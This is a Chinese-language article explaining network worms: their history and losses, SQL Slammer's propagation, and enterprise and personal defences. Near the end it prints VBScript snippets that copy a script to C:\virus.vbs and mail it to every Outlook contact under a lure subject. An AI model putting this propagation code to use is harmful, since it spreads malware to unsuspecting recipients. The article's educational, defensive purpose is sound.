解析并防范电脑蠕虫病毒
凡能够引起计算机故障,破坏计算机数据的程序统称为计算机病毒。所以从这个意义上说,蠕虫也是一种病毒!网络蠕虫病毒,作为对互联网危害严重的 一种计算机程序,其破坏力和传染性不容忽视。与传统的病毒不同,蠕虫病毒以计算机为载体,以网络为攻击对象!本文中将蠕虫病毒分为针对企业网络和个人用户2类,并从企业用户和个人用户两个方面探讨蠕虫病毒的特征和一些防范措施!
本文根据蠕虫病毒的发作机制,将其分为利用系统级别漏洞(主动传播)和利用社会工程学(欺骗传播)两种,并从用户角度中将蠕虫病毒分为针对企业网络和个人用户2类,从企业用户和个人用户两个方面探讨蠕虫病毒的特征和一些防范措施!
一、蠕虫病毒的定义
1.蠕虫病毒的定义
计算机病毒自出现之日起,就成为计算机的一个巨大威胁,而当网络迅速发展的时候,蠕虫病毒引起的危害开始显现!从广义上定义,凡能够引起计算机故障,破坏计算机数据的程序统称为计算机病毒。所以从这个意义上说,蠕虫也是一种病毒!但是蠕虫病毒和一般的病毒有着很大的区别。对于蠕虫,现在还没有一个成套的理论体系,一般认为,蠕虫是一种通过网络传播的恶性病毒,它具有病毒的一些共性,如传播性,隐蔽性,破坏性等等,同时具有自己的一些特征,如不利用文件寄生(有的只存在于内存中),对网络造成拒绝服务,以及和黑客技术相结合等等!在产生的破坏性上,蠕虫病毒也不是普通病毒所能比拟的,网络的发展使得蠕虫可以在短短的时间内蔓延整个网络,造成网络瘫痪!
根据使用者情况可将蠕虫病毒分为2类,一种是面向企业用户和局域网而言,这种病毒利用系统漏洞,主动进行攻击,可以对整个互联网可造成瘫痪性的后果!以“红色代码”,“尼姆达”,以及最新的“sql蠕虫王”为代表。另外一种是针对个人用户的,通过网络(主要是电子邮件,恶意网页形式)迅速传播的蠕虫病毒,以爱虫病毒,求职信病毒为例.在这两类中,第一类具有很大的主动攻击性,而且爆发也有一定的突然性,但相对来说,查杀这种病毒并不是很难。第二种病毒的传播方式比较复杂和多样,少数利用了微软的应用程序的漏洞,更多的是利用社会工程学()对用户进行欺骗和诱使,这样的病毒造成的损失是非常大的,同时也是很难根除的,比如求职信病毒,在2001年就已经被各大杀毒厂商发现,但直到2002年底依然排在病毒危害排行榜的首位就是证明!出得在接下来的内容中,将分别分析这两种病毒的一些特征及防范措施!
2.蠕虫病毒与一般病毒的异同
蠕虫也是一种病毒,因此具有病毒的共同特征。一般的病毒是需要的寄生的,它可以通过自己指令的执行,将自己的指令代码写到其他程序的体内,而被感染的文件就被称为”宿主”,例如,windows下可执行文件的格式为pe格式(Portable Executable),当需要感染pe文件时,在宿主程序中,建立一个新节,将病毒代码写到新节中,修改的程序入口点等,这样,宿主程序执行的时候,就可以先执行病毒程序,病毒程序运行完之后,在把控制权交给宿主原来的程序指令。可见,病毒主要是感染文件,当然也还有像DIRII这种链接型病毒,还有引导区病毒。引导区病毒他是感染磁盘的引导区,如果是软盘被感染,这张软盘用在其他机器上后,同样也会感染其他机器,所以传播方式也是用软盘等方式。
蠕虫一般不采取利用pe格式插入文件的方法,而是复制自身在互联网环境下进行传播,病毒的传染能力主要是针对计算机内的文件系统而言,而蠕虫病毒的传染目标是互联网内的所有计算机.局域网条件下的共享文件夹,电子邮件email,网络中的恶意网页,大量存在着漏洞的服务器等都成为蠕虫传播的良好途径。网络的发展也使得蠕虫病毒可以在几个小时内蔓延全球!而且蠕虫的主动攻击性和突然爆发性将使得人们手足无策!
普通病毒 蠕虫病毒 存在形式 寄存文件 独立程序
传染机制 宿主程序运行 主动攻击
传染目标 本地文件 网络计算机
可以预见,未来能够给网络带来重大灾难的主要必定是网络蠕虫!
3.蠕虫的破坏和发展趋势
1988年一个由美国CORNELL大学研究生莫里斯编写的蠕虫病毒蔓延造成了数千台计算机停机,蠕虫病毒开始现身网络;而后来的红色代码,尼姆达病毒疯狂的时候,造成几十亿美元的损失;北京时间2003年1月26日, 一种名为“2003蠕虫王”的电脑病毒迅速传播并袭击了全球,致使互联网网路严重堵塞,作为互联网主要基础的域名服务器(DNS)的瘫痪造成网民浏览互联网网页及收发电子邮件的速度大幅减缓,同时银行自动提款机的运作中断, 机票等网络预订系统的运作中断,信用卡等收付款系统出现故障!专家估计,此病毒造成的直接经济损失至少在12亿美元以上!
病毒名称 持续时间 造成损失莫里斯蠕虫 1988年 6000多台计算机停机,直接经济损失达9600万美元! 美丽杀手
1999年 政府部门和一些大公司紧急关闭了网络服务器,
经济损失超过12亿美元!爱虫病毒
2000年5月至今
众多用户电脑被感染,损失超过100亿美元以上 红色代码
2001年7月 网络瘫痪,直接经济损失超过26亿美元 求职信
2001年12月至今 大量病毒邮件堵塞服务器,损失达数百亿美元 蠕虫王
2003年1月 网络大面积瘫痪,银行自动提款机运做中断,直接经济损失超过26亿美元
由表可以知道,蠕虫病毒对网络产生堵塞作用,并造成了巨大的经济损失!
通过对以上蠕虫病毒的分析,可以知道,蠕虫发作的一些特点和发展趋势:
1.利用操作系统和应用程序的漏洞主动进行攻击.. 此类病毒主要是“红色代码”和“尼姆达”,以及至今依然肆虐的”求职信”等.由于IE浏览器的漏洞(Iframe Execcomand),使得感染了“尼姆达”病毒的邮件在不去手工打开附件的情况下病毒就能激活,而此前即便是很多防病毒专家也一直认为,带有病毒附件的邮件,只要不去打开附件,病毒不会有危害。“红色代码”是利用了微软IIS服务器软件的漏洞(idq.dll远程缓存区溢出)来传播。Sql蠕虫王病毒则是利用了微软的数据库系统的一个漏洞进行大肆攻击!
2.传播方式多样 如“尼姆达”病毒和”求职信”病毒,可利用的传播途径包括文件、电子邮件、Web服务器、网络共享等等。
3.病毒制作技术与传统的病毒不同的是,许多新病毒是利用当前最新的编程语言与编程技术实现的,易于修改以产生新的变种,从而逃避反病毒软件的搜索。另外,新病毒利用Java、ActiveX、VB Script等技术,可以潜伏在HTML页面里,在上网浏览时触发。
4.与黑客技术相结合! 潜在的威胁和损失更大!以红色代码为例,感染后的机器的web目录的\scripts下将生成一个root.exe,可以远程执行任何命令,从而使黑客能够再次进入!二、网络蠕虫病毒分析和防范
蠕虫和普通病毒不同的一个特征是蠕虫病毒往往能够利用漏洞,这里的漏洞或者说是缺陷,我们分为2种,软件上的缺陷和人为上的缺陷。软件上的缺陷,如远程溢出,微软ie和outlook的自动执行漏洞等等,需要软件厂商和用户共同配合,不断的升级软件。而人为的缺陷,主要是指的是计算机用户的疏忽。这就是所谓的社会工程学(social engineering),当收到一封邮件带着病毒的求职信邮件时候,大多数人都会报着好奇去点击的。对于企业用户来说,威胁主要集中在服务器和大型应用软件的安全上,而个人用户而言,主要是防范第二种缺陷。
1.利用系统漏洞的恶性蠕虫病毒分析
在这种病毒中,以红色代码,尼姆达和sql蠕虫为代表!他们共同的特征是利用微软服务器和应用程序组件的某个漏洞进行攻击,由于网上存在这样的漏洞比较普遍,使得病毒很容易的传播!而且攻击的对象大都为服务器,所以造成的网络堵塞现象严重!
以2003年1月26号爆发的sql蠕虫为例,爆发数小时内席卷了全球网络,造成网络大塞车.亚洲国家中以人口上网普及率达七成的韩国所受影响较为严重。韩国两大网络业KFT及***电讯公司,系统都陷入了瘫痪,其它的网络用户也被迫断线,更为严重的是许多银行的自动取款机都无法正常工作, 美国许美国银行统计,该行的13000台自动柜员机已经无法提供正常提款。网络蠕虫病毒开始对人们的生活产生了巨大的影响!
这次sql蠕虫攻击的是微软数据库系Microsoft SQL Server 2000的,利用了MSSQL2000服务远程堆栈缓冲区溢出漏洞, Microsoft SQL Server 2000是一款由Microsoft公司开发的商业性质大型数据库系统。SQL Server监听UDP的1434端口,客户端可以通过发送消息到这个端口来查询目前可用的连接方式(连接方式可以是命名管道也可以是TCP),但是此程序存在严重漏洞,当客户端发送超长数据包时,将导致缓冲区溢出,黑客可以利用该漏洞在远程机器上执行自己的恶意代码。
微软在200年7月份的时候就为这个漏洞发布了一个安全公告,但当sql蠕虫爆发的时候,依然有大量的装有ms sqlserver 2000的服务器没有安装最新的补丁,从而被蠕虫病毒所利用,蠕虫病毒通过一段376个字节的恶意代码,远程获得对方主机的系统控制权限, 取得三个Win32 API地址,GetTickCount、socket、sendto,接着病毒使用GetTickCount获得一个随机数,进入一个死循环继续传播。在该循环中蠕虫使用获得的随机数生成一个随机的ip地址,然后将自身代码发送至1434端口(Microsoft SQL Server开放端口),该蠕虫传播速度极快,其使用广播数据包方式发送自身代码,每次均攻击子网中所有255台可能存在机器。由于这是一个死循环的过程,发包密度仅和机器性能和网络带宽有关,所以发送的数据量非常大。该蠕虫对被感染机器本身并没有进行任何恶意破坏行为,也没有向硬盘上写文件,仅仅存在与内存中。对于感染的系统,重新启动后就可以清除蠕虫,但是仍然会重复感染。由于发送数据包占用了大量系统资源和网络带宽,形成Udp Flood,感染了该蠕虫的网络性能会极度下降。一个百兆网络内只要有一两台机器感染该蠕虫就会导致整个网络访问阻塞。
通过以上分析可以知道,此蠕虫病毒本身除了对网络产生拒绝服务攻击外,并没有别的破坏措施.但如果病毒编写者在编写病毒的时候加入破坏代码,后果将不堪设想!
2.企业防范蠕虫病毒措施
此次sql蠕虫病毒,利用的漏洞在2002年7月份微软的一份安全公告中就有详细说明!而且微软也提供了安全补丁提供下载,然而在时隔半年之后互联网上还有相当大的一部分服务器没有安装最新的补丁,其网络管理员的安全防范意识可见一斑!
当前,企业网络主要应用于文件和打印服务共享、办公自动化系统、企业业务(MIS)系统、Internet应用等领域。网络具有便利信息交换特性,蠕虫病毒也可以充分利用网络快速传播达到其阻塞网络目的。企业在充分地利用网络进行业务处理时,就不得不考虑企业的病毒防范问题,以保证关系企业命运的业务数据完整不被破坏。
企业防治蠕虫病毒的时候需要考虑几个问题:病毒的查杀能力,病毒的监控能力,新病毒的反应能力。而企业防毒的一个重要方面是是管理和策略。推荐的企业防范蠕虫病毒的策略如下:
(1)加强网络管理员安全管理水平,提高安全意识。由于蠕虫病毒利用的是系统漏洞进行攻击,所以需要在第一时间内保持系统和应用软件的安全性,保持各种操作系统和应用软件的更新!由于各种漏洞的出现,使得安全不在是一种一劳永逸的事,而作为企业用户而言,所经受攻击的危险也是越来越大,要求企业的管理水平和安全意识也越来越高!
(2)建立病毒检测系统。能够在第一时间内检测到网络异常和病毒攻击。
(3)建立应急响应系统,将风险减少到最小!由于蠕虫病毒爆发的突然性,可能在病毒发现的时候已经蔓延到了整个网络,所以在突发情况下,建立一个紧急响应系统是很有必要的,在病毒爆发的第一时间即能提供解决方案。
(4)建立灾难备份系统。对于数据库和数据系统,必须采用定期备份,多机备份措施,防止意外灾难下的数据丢失!
(5)对于局域网而言,可以采用以下一些主要手段:A.在因特网接入口处安装防火墙式防杀计算机病毒产品,将病毒隔离在局域网之外。B.对邮件服务器进行监控,防止带毒邮件进行传播!C.对局域网用户进行安全培训。D.建立局域网内部的升级系统,包括各种操作系统的补丁升级,各种常用的应用软件升级,各种杀毒软件病毒库的升级等等!3.对个人用户产生直接威胁的蠕虫病毒
在以上分析的蠕虫病毒中,只对安装了特定的微软组件的系统进行攻击,而对广大个人用户而言,是不会安装iis(微软的因特网服务器程序,可以使允许在网上提供web服务)或者是庞大的数据库系统的!因此上述病毒并不会直接攻击个个人用户的电脑(当然能够间接的通过网络产生影响),但接下来分析的蠕虫病毒,则是对个人用户威胁最大,同时也是最难以根除,造成的损失也更大的一类蠕虫病毒!
对于个人用户而言,威胁大的蠕虫病毒采取的传播方式一般为电子邮件(Email)以及恶意网页等等!
对于利用email传播得蠕虫病毒来说,通常利用的是社会工程学(Social Engineering),即以各种各样的欺骗手段那诱惑用户点击的方式进行传播!
恶意网页确切的讲是一段黑客破坏代码程序,它内嵌在网页中,当用户在不知情的情况下打开含有病毒的网页时,病毒就会发作。这种病毒代码镶嵌技术的原理并不复杂,所以会被很多怀不良企图者利用,在很多黑客网站竟然出现了关于用网页进行破坏的技术的论坛,并提供破坏程序代码下载,从而造成了恶意网页的大面积泛滥,也使越来越多的用户遭受损失。
对于恶意网页,常常采取vb script和java script编程的形式!由于编程方式十分的简单!所以在网上非常的流行!
Vb script和java script是由微软操作系统的wsh(Windows Scripting HostWindows脚本主机)解析并执行的,由于其编程非常简单,所以此类脚本病毒在网上疯狂传播,疯狂一时的爱虫病毒就是一种vbs脚本病毒,然后伪装成邮件附件诱惑用户点击运行,更为可怕的是,这样的病毒是以源代码的形式出现的,只要懂得一点关于脚本编程的人就可以修改其代码,形成各种各样的变种。
下面以一个简单的脚本为例:
Set objFs=CreateObject (“Scripting.FileSystemObject”) (创建一个文件系统对象)objFs.CreateTextFile ("C:\virus.txt", 1)
(通过文件系统对象的方法创建了TXT文件)
如果我们把这两句话保存成为.vbs的VB脚本文件,点击就会在C盘中创建一个TXT文件了。倘若我们把第二句改为:
objFs.GetFile (WScript.ScriptFullName).Copy ("C:\virus.vbs")
就可以将自身复制到C盘virus.vbs这个文件。本句前面是打开这个脚本文件,WScript.ScriptFullName指明是这个程序本身,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制到C盘根目录下virus.vbs这个文件。这么简单的两句就实现了自我复制的功能,已经具备病毒的基本特征——自我复制能力。
此类病毒往往是通过邮件传播的,在vb script中调用邮件发送功能也非常的简单,病毒往往采用的方法是向outlook中的地址薄中的邮件地址发送带有包含自身的邮件来达到传播目的,一个简单的实例如下:
Set objOA=Wscript.CreateObject ("Outlook.Application")
(创建一个OUTLOOK应用的对象)Set objMapi=objOA.GetNameSpace ("MAPI")(取得MAPI名字空间)For i=1 to objMapi.AddressLists.Count(遍历地址簿)
Set objAddList=objMapi.AddressLists (i)
For j=1 To objAddList. AddressEntries.Count Set
objMail=objOA.CreateItem (0) objMail.Recipients.Add
(objAddList. AddressEntries
(j))(取得收件人邮件地址 )objMail.Subject="你好!"
(设置邮件主题,这个往往具有很大的诱惑性质)
objMail.Body="这次给你的附件,是我的新文档!"
(设置信件内容)objMail.Attachments.Add (“c:\virus.vbs")
(把自己作为附件扩散出去 )objMail.Send(发送邮件)
NextNext Set objMapi=Nothing(清空objMapi变量,释放资源)
set objOA=Nothing(清空objOA变量)
这一小段代码的功能是向地址簿中的用户发送电子邮件,并将自己作为附件扩散出去。这段代码中的第一行是创建一个Outlook的对象,是必不可少的。在其下是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。这就是蠕虫的传播性。
由此可以看出,利用vb script编写病毒是非常容易的,这就使得此类病毒的变种繁多,破坏力极大,同时也是非常难以根除的!
- 最新评论